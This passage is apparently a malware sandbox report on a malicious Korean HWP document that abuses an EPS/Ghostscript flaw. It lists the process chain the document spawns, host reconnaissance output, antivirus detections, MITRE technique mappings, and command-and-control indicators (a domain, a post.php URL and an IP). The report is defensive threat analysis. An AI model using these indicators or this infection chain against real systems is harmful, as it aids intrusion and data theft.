Installed. [01]: KB2849697 [02]: KB2849696 [03]: KB2841134 [04]: KB2670838 [05]: KB2479943 [06]: KB2491683 [07]: KB2506212 [08]: KB2506928 [09]: KB2509553 [10]: KB2532531 [11]: KB2533552 [12]: KB2533623 [13]: KB2534111 [14]: KB2545698 [15]: KB2547666 [16]: KB2552343 [17]: KB2560656 [18]: KB2563227 [19]: KB2564958 [20]: KB2579686 [21]: KB2585542 [22]: KB2604115 [23]: KB2620704 [24]: KB2621440 [25]: KB2631813 [26]: KB2639308 [27]: KB2640148 [28]: KB2647753 [29]: KB2653956 [30]: KB2654428 [31]: KB2656356 [32]: KB2660075 [33]: KB2667402 [34]: KB2685811 [35]: KB2685813 [36]: KB2690533 [37]: KB2698365 [38]: KB2705219 [39]: KB2719857 [40]: KB2726535 [41]: KB2727528 [42]: KB2729094 [43]: KB2731771 [44]: KB2732059 [45]: KB2732487 [46]: KB2736422 [47]: KB2742599 [48]: KB2750841 [49]: KB2761217 [50]: KB2763523 [51]: KB2770660 [52]: KB2773072 [53]: KB2786081 [54]: KB2799926 [55]: KB2800095 [56]: KB2807986 [57]: KB2808679 [58]: KB2813430 [59]: KB2820331 [60]: KB2834140 [61]: KB2836942 [62]: KB2840631 [63]: KB2843630 [64]: KB2847927 [65]: KB2852386 [66]: KB2853952 [67]: KB2861698 [68]: KB2862152 [69]: KB2862330 [70]: KB2862335 [71]: KB2864202 [72]: KB2868038 [73]: KB2871997 [74]: KB2882822 [75]: KB2884256 [76]: KB2888049 [77]: KB2891804 [78]: KB2892074 [79]: KB2893294 [80]: KB2893519 [81]: KB2894844 [82]: KB2900986 [83]: KB2908783 [84]: KB2911501 [85]: KB2912390 [86]: KB2918077 [87]: KB2919469 [88]: KB2931356 [89]: KB2937610 [90]: KB2943357 [91]: KB2952664 [92]: KB2966583 [93]: KB2968294 [94]: KB2970228 [95]: KB2972100 [96]: KB2972211 [97]: KB2973112 [98]: KB2973201 [99]: KB2973351 [100]: KB2977292 [101]: KB2978742 [102]: KB2984972 [103]: KB2985461 [104]: KB2991963 [105]: KB2992611 [106]: KB2999226 [107]: KB3003743 [108]: KB3004361 [109]: KB3004375 [110]: KB3006121 [111]: KB3006137 [112]: KB3010788 [113]: KB3011780 [114]: KB3013531 [115]: KB3019978 [116]: KB3020370 [117]: KB3021674 [118]: KB3021917 [119]: KB3022777 [120]: KB3023215 [121]: KB3030377 [122]: KB3035126 [123]: KB3035132 [124]: KB3037574 [125]: KB3042058 [126]: KB3045685 [127]: KB3046017 [128]: KB3046269 [129]: KB3054476 [130]: KB3055642 [131]: KB3059317 [132]: KB3060716 [133]: KB3061518 [134]: KB3067903 [135]: KB3068708 [136]: KB3071756 [137]: KB3072305 [138]: KB3074543 [139]: KB3075220 [140]: KB3076895 [141]: KB3078601 [142]: KB3078667 [143]: KB3080149 [144]: KB3084135 [145]: KB3086255 [146]: KB3092601 [147]: KB3092627 [148]: KB3093513 [149]: KB3097989 [150]: KB3101722 [151]: KB3107998 [152]: KB3108371 [153]: KB3108381 [154]: KB3108664 [155]: KB3109103 [156]: KB3109560 [157]: KB3110329 [158]: KB3115858 [159]: KB3122648 [160]: KB3124275 [161]: KB3126587 [162]: KB3127220 [163]: KB3133977 [164]: KB3137061 [165]: KB3138378 [166]: KB3138612 [167]: KB3138910 [168]: KB3139398 [169]: KB3139914 [170]: KB3140245 [171]: KB3147071 [172]: KB3150220 [173]: KB3150513 [174]: KB3155178 [175]: KB3156016 [176]: KB3156019 [177]: KB3159398 [178]: KB3161102 [179]: KB3161949 [180]: KB3161958 [181]: KB3170735 [182]: KB3172605 [183]: KB3177467 [184]: KB3179573 [185]: KB3184143 [186]: KB4019990 [187]: KB4040980 [188]: KB976902 [189]: KB982018 [190]: KB4048957 Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Desktop Adapter Connection Name: Local Area Connection DHCP Enabled: No IP address(es) [01]: 192.168.240.26 [02]: fe80::448d:1ba9:747c:6306 Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 12 K System 4 Services 0 1,072 K smss.exe 264 Services 0 808 K csrss.exe 340 Services 0 3,512 K csrss.exe 388 Console 1 7,820 K wininit.exe 396 Services 0 3,324 K winlogon.exe 436 Console 1 5,356 K services.exe 480 Services 0 7,728 K lsass.exe 496 Services 0 8,876 K lsm.exe 504 Services 0 3,084 K svchost.exe 608 Services 0 7,104 K svchost.exe 736 Services 0 6,068 K svchost.exe 820 Services 0 15,952 K svchost.exe 864 Services 0 10,544 K svchost.exe 904 Services 0 14,812 K svchost.exe 932 Services 0 29,932 K svchost.exe 1148 Services 0 10,368 K spoolsv.exe 1292 Services 0 8,836 K svchost.exe 1320 Services 0 12,404 K taskhost.exe 1600 Console 1 10,468 K dwm.exe 1816 Console 1 4,264 K svchost.exe 564 Services 0 4,764 K svchost.exe 2256 Services 0 10,788 K svchost.exe 2400 Services 0 6,392 K WmiPrvSE.exe 984 Services 0 12,652 K explorer.exe 3324 Console 1 30,912 K conhost.exe 1112 Console 1 3,724 K taskhost.exe 2040 Services 0 10,448 K WmiPrvSE.exe 1104 Services 0 8,076 K conhost.exe 3028 Console 1 3,708 K conhost.exe 2516 Console 1 3,684 K Hwp.exe 2364 Console 1 8,540 K HimTrayIcon.exe 3256 Console 1 9,780 K userinit.exe 2664 Console 1 3,352 K cmd.exe 556 Console 1 2,872 K conhost.exe 4092 Console 1 3,724 K WmiPrvSE.exe 2600 Services 0 4,776 K TrustedInstaller.exe 2776 Services 0 10,508 K tasklist.exe 3940 Console 1 4,316 K"32:T568,Spawned process "Hwp.exe" with commandline ""C:\________.hwp"" (UID: 00276489-00002364) Spawned process "HimTrayIcon.exe" (UID: 00279115-00003256) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d1.eps" "%TEMP%\gsb835C.tmp"" (UID: 00279263-00002972) Spawned process "userinit.exe" (UID: 00279483-00002664) Spawned process "cmd.exe" with commandline "/c %TEMP%\a_1d87.bat" (UID: 00279507-00000556) Spawned process "systeminfo.exe" (UID: 00279517-00002568) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa835C.tmp" (UID: 00279596-00003048) Spawned process "userinit.exe" (UID: 00279887-00001620) Spawned process "tasklist.exe" (UID: 00280050-00003940) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d3.eps" "%TEMP%\gsb602A.tmp"" (UID: 00287075-00000552) Spawned process "userinit.exe" (UID: 00287298-00003760) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa602A.tmp" (UID: 00287408-00003420) Spawned process "userinit.exe" (UID: 00287646-00003616) Spawned process "gbb.exe" with commandline ""%TEMP%\Hnc\BinData\EMB00000ce043d3.eps" "%TEMP%\gsb8AB5.tmp"" (UID: 00287773-00001752) Spawned process "userinit.exe" (UID: 00287997-00002804) Spawned process "gswin32c.exe" with commandline "@%TEMP%\gsa8AB5.tmp" (UID: 00288107-00000336) Spawned process "userinit.exe" (UID: 00288358-00003216)33:T794,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAFdklEQVR42uWX6U9UVxiH/QuqVoqoWLFYtVZNY611QcvmVi2Smjb9UPtB02q0tlELIosBxw1XBEXFrWJVwA0RrCAIwjAzwAzDzrDvAwzOsIhsAk/PTNRYTVs2mzQ9yS83c3NzznPe5703c4YNe2Ws9oniTWbYPw3jQ11dXTx9+pTu7u4hiXEu45x9Bni+eE9PD729vYOKcY7nEH0GeHnxwY6XIfoFMBSLvwzx3wSQy+WkpaWhVCpRqVQvYryXlZVFR0dHnwBq23tJaOhh/RlF/wB0Oh16vR6DwUBjY+OLGH83Nzeb3P7V6BYFzGnp5bq2h7MVPQQWd7L2lOzfUaAVOw6t7iaorJsATTtuSXV8e6cC56PS/gEoFApT+dVq9Z9i1JCTk/Oagk5RkERR6pMlT/EXC/8cV82q6+UsCW9g2b1WnANS35yCpq5eLpZ1cbywg+1JtTiFleJws56l99pYFtvFsvju/gP0ddSLkp8Rjg9mtbAmvAT7kCoc7zSz+F47i+93skQAGLOqvwB/p+B54tT5HMtrxSO5ns9/K8A2rA7biBbs77Zh/3sbDgLCMboDx5gOVvmnDJ0C4zW3ronDua1sfVCN3YUCbELqWBTexCIB8Nmdx9hGtmIX9QS7ZzBOx1KGTkGzcO4vFt8cXcGCs/nMvaJlflgDErmehLIWNjwwsPAVGCc/xdAoSFOlE6DW8WNMBfNOZjMnuJo5V3XYhmqRJFQjK9VzPLUem2s6Ftxqwia8mYW3W/jCTz40Cm4VNrJFlH3u8XRmnSnjq1taTisb0DW1Uqpr4nZGFcHKGpZeq2Fe2CPmXzcw/0YjK4/KB6+gob0bT3kDtieUzAwsZMbpUtaGl3NaVol/fBG/JhfxuPUJ+pZWDku1OIfX8amozlwBsuKIbPAK/FOqcL6YwbQjmXx4soQPAouZ6pfNFF856y6nk1Jci1bfRK2hhfb2dvJqm/k4uIpProi35FDy4BRkVhv4IaqEGb4KJvsVMCWgSERU4biGNSEaHj9pQ6qpYcWxWDZdkmEQVXCLyGdmUBGzgrUsPygdnIKLeY04nFBgvU+N9REN74lYH9Vgf1bDJVEZ446dA5OwliSw4bKK6kei+fwVTD9VxMzzVSw/kDRwBcr0DLH7YiZ7J2K1P4sJvjlMOJiL1cEcZvup2Xc31wRwQVqCa0QBZfVNnE8Szx9IM2n6MKicpb6JA1cQl1fD8qA0xu+UYbknk3EilvuyGL8vk/GSNKZ5x3JFWkiRVo+yVEdArIbJu+KZdDjLpGpqYAlL9j8cuIITiSXM9k1irKcCC590LHalM0aiZqzIOEk6Y72kjNkWyRzJPT7yicZyx32s9qRifTiXSaJf3vcvZMnehIErWHcukak+D7HwkGPumYq5VxrmO5WMFle/+Aoup1Yzfa+cb86pyK7UY3NMxbv7M4WiXCYeyhP9ks/iPfEDV/BdkJSJHvGYuckYtUPBKPcUzDxE3JIorDGY/K8MFN+G3UlsDslkkkQuNKlFr2QLkGwmHMjBcXf8wP+Wu15Lx9ojjlGuUkZulzFCZKSbnJFb4wiMyaXe0GwCOS9U+UVrCJaVE5dfL76KtYwTuiz3ZuIgeTDwg0mkupLpotHe3hLPiF+kvCUy3CWZ4Vvi+DoggQtxOajERyg2s5JIVTn3syqRF2gJTSnHwlMm+kSNvU9sHwC8I+ns7KRTHKW6jEeqZ3nS3sHG0Awst8UwZnsy5s/jksA7P0Vhtj4Us+8vY77+KuYbwxgtYrEpDMutkVi5i1fXU4qD192+VWC1TySrve+8HnF/hQBc7B6Jo8ddUxzco7B3i8DO9Ra2LjdMsXsWe5frOLjeZJn7bZy8IviyL+eC/934A8vDMzp31PmtAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790590841148,"unified_at":"2026-09-28T10:20:41.148Z","metadata":{"hashes":{"sha256":"7c5db78537f3a28b9bcfe8f75e86c36038e5929d2206d59827fca4fb524d41c1","sha1":"c54f34bebf4913dcbfb9a21bb520de2b88815429","md5":"34ef0e67dad9ea8540f0fb3d91468dcf","sha512":"9bb42ac7399e7f127f9adf2b78b930be24138e656db53b8662ae282d4c57afb44063c47f629198fea370f03f3d9709a002ed62b0fbbba83cc501a103016946dc","ssdeep":"6144:+xjXtOGMF1I8XR8Nb7lfn8dxjXtOGMF1I8XR8Nb7lfn:+xrtkF1I8B8BadxrtkF1I8B8B","ssdeep_chunks":["6144:+xjXtOG","6144:xjXtOGM","6144:jXtOGMF","6144:XtOGMF1","6144:tOGMF1I","6144:OGMF1I8","6144:GMF1I8X","6144:MF1I8XR","6144:F1I8XR8","6144:1I8XR8N","6144:I8XR8Nb","6144:8XR8Nb7","6144:XR8Nb7l","6144:R8Nb7lf","6144:8Nb7lfn","6144:Nb7lfn8","6144:b7lfn8d","6144:7lfn8dx","6144:lfn8dxj","6144:fn8dxjX","6144:n8dxjXt","6144:8dxjXtO","6144:dxjXtOG","12288:+xjXtOG","12288:xjXtOGM","12288:jXtOGMF","12288:XtOGMF1","12288:tOGMF1I","12288:OGMF1I8","12288:GMF1I8X","12288:MF1I8XR","12288:F1I8XR8","12288:1I8XR8N","12288:I8XR8Nb","12288:8XR8Nb7","12288:XR8Nb7l","12288:R8Nb7lf","12288:8Nb7lfn","12288:Nb7lfn8","12288:b7lfn8d","12288:7lfn8dx","12288:lfn8dxj","12288:fn8dxjX","12288:n8dxjXt","12288:8dxjXtO","12288:dxjXtOG","6144:+xrtkF1","6144:xrtkF1I","6144:rtkF1I8","6144:tkF1I8B","6144:kF1I8B8","6144:F1I8B8B","6144:1I8B8Ba","6144:I8B8Bad","6144:8B8Badx","6144:B8Badxr","6144:8Badxrt","6144:Badxrtk","6144:adxrtkF","6144:dxrtkF1"],"imphash":"Unknown"},"file_info":{"file_name":"이벤트 당첨자 개인정보 수집 및 이용 동의 안내서.hwp","file_type":["hwp"],"file_type_id":"hwp","file_size":245760,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1559032065000,"last_seen":1629119287000,"last_multi_scan":1629119287000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["banker","floxif","golddragon","neshta","ramnit","xolxo","evasive"]},"stats":{"av":{"malicious_count":7,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":9},"sandbox_signatures":{"informative_count":21,"suspicious_count":17,"malicious_count":6,"total":44},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"Ahnlab","success":true,"verdict":"malicious","threat_name":"EPS/Exploit.S4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"BitDefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"Ikarus","success":true,"verdict":"malicious","threat_name":"Exploit.HWPPS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"RDN/Generic Exploit","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan-Exploit/HWP.Spenib.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"TrendMicro","success":true,"verdict":"malicious","threat_name":"Trojan.93536FA9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"TrendMicro House Call","success":true,"verdict":"malicious","threat_name":"Trojan.93536FA9","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xviruspersonalguard":{"name":"Xvirus Personal Guard","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"CVE-2017-8291","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"malicious","value":"References suspicious system modules"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"},{"type":"suspicious","value":"Allocates virtual memory in a remote process"},{"type":"suspicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to query CPU information"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1115","identifiers":[{"type":"suspicious","value":"Contains ability to open the clipboard"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"$25","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00279115-00003256-25430-106-013A580A\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00279263-00002972-33871-210-00405C5D\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00279596-00003048-43732-205-0040C2E4\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00287075-00000552-48321-210-00405C5D\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00287408-00003420-51972-205-0040C2E4\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00287773-00001752-55774-210-00405C5D\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00288107-00000336-59078-205-0040C2E4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00279115-00003256-25430-117-013A1BD0\n GetVersion@KERNEL32.DLL at 00279596-00003048-43732-117-00401DB0\n GetVersion@KERNEL32.DLL at 00287408-00003420-51972-117-00401DB0\n GetVersion@KERNEL32.DLL at 00288107-00000336-59078-117-00401DB0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00279263-00002972-33871-104-0040A6D1\n GetProcessHeap@KERNEL32.DLL at 00287075-00000552-48321-104-0040A6D1\n GetProcessHeap@KERNEL32.DLL at 00287773-00001752-55774-104-0040A6D1","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA HTTP Host header invalid\" (SID: 2221028, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"hellojames.sportsontheweb.net\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.176.43.94:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"g:\\HOfficeDev_80\\Build\\Common\\HimTrayIcon.pdb\"\n \"e:\\Work\\HOffice2010\\Dev\\Build\\Common\\ImgFilters\\gs\\gs8.71\\bin\\gbb.pdb\"\n \"sysinfo.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"$26","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\NDRIVE_SHARE_MUTEX\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\C:_Users_W55GF1A_AppData_Local_Temp_Hwp80_________.asv\"\n \"Local\\ZonesCacheCounterMutex\"\n \"C:_Users_W55GF1A_AppData_Local_Temp_Hwp80_________.asv\"\n \"DBWinMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"NDRIVE_SHARE_MUTEX\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$27","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c %TEMP%\\a_1d87.bat\" on 2019-5-28.10:30:36.576","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"Hwp.exe\" searching for class \"HIM_TRAY_ICON\"\n \"Hwp.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$28","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$29","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"$2a","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$2b","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Installation/Persistance","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method)","origin":"File/Memory","mitre_attack_id":"T1055","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"Hwp.exe\" opened \"\\Device\\MountPointManager\"\n \"cmd.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"hellojames.sportsontheweb.net\"\n Pattern match: \"http://hellojames.sportsontheweb.net/post/post.php\"\n Heuristic match: \"gs_init.ps\"\n Heuristic match: \"01/29/2019 05:52 PM Microsoft.NET\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates 